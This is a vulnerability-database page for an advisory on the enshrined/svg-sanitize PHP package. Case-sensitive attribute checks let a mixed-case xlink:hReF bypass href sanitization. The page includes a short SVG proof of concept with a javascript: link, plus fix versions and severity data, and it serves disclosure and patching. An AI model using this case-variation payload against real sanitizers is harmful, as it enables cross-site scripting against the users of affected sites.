Medium

svg-sanitizer Bypasses Attribute Sanitization

  • Disclosed: 12.08.2025
  • Updated: 11.10.2026 10:22

Problem

The sanitization logic at https://github.com/darylldoyle/svg-sanitizer/blob/0.21.0/src/Sanitizer.php#L454-L481 only searches for lower-case attribute names (e.g. xlink:href instead of xlink:HrEf), which allows to by-pass the isHrefSafeValue check. As a result this allows cross-site scripting or linking to external domains.

Proof-of-concept

provided by azizk

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100">
  <a xlink:hReF="javascript:alert(document.domain)">
    <rect width="100" height="50" fill="red"></rect>
    <text x="50" y="30" text-anchor="middle" fill="white">Click me</text>
  </a>
</svg>

Credits

The mentioned findings and proof-of-concept example were reported to the TYPO3 Security Team by the external security researcher azizk <medazizknani@gmail.com>.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package enshrined/svg-sanitize < 0.22.0 0.22.0

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Weakness (CWE)
CWE-601, CWE-79
Platform
Composer
Package
enshrined/svg-sanitize
Disclosed
12.08.2025
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-22wq-q86m-83fh - CC BY 4.0

Vulnerability history: enshrined/svg-sanitize

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
8
First → latest
01.2020 10.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • High 2
  • Medium 6

Disclosures per year

  1. 2020: 2
  2. 2021: 0
  3. 2022: 1
  4. 2023: 1
  5. 2024: 0
  6. 2025: 1
  7. 2026: 3
  1. svg-sanitizer Bypasses Attribute Sanitization this entry
    Medium CVE-2025-55166 < 0.22.0 0.22.0
  2. High · 7.2 CVE-2023-28426 < 0.16.0 0.16.0
  3. Medium · 6.1 CVE-2019-10772 < 0.13.1 0.13.1

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.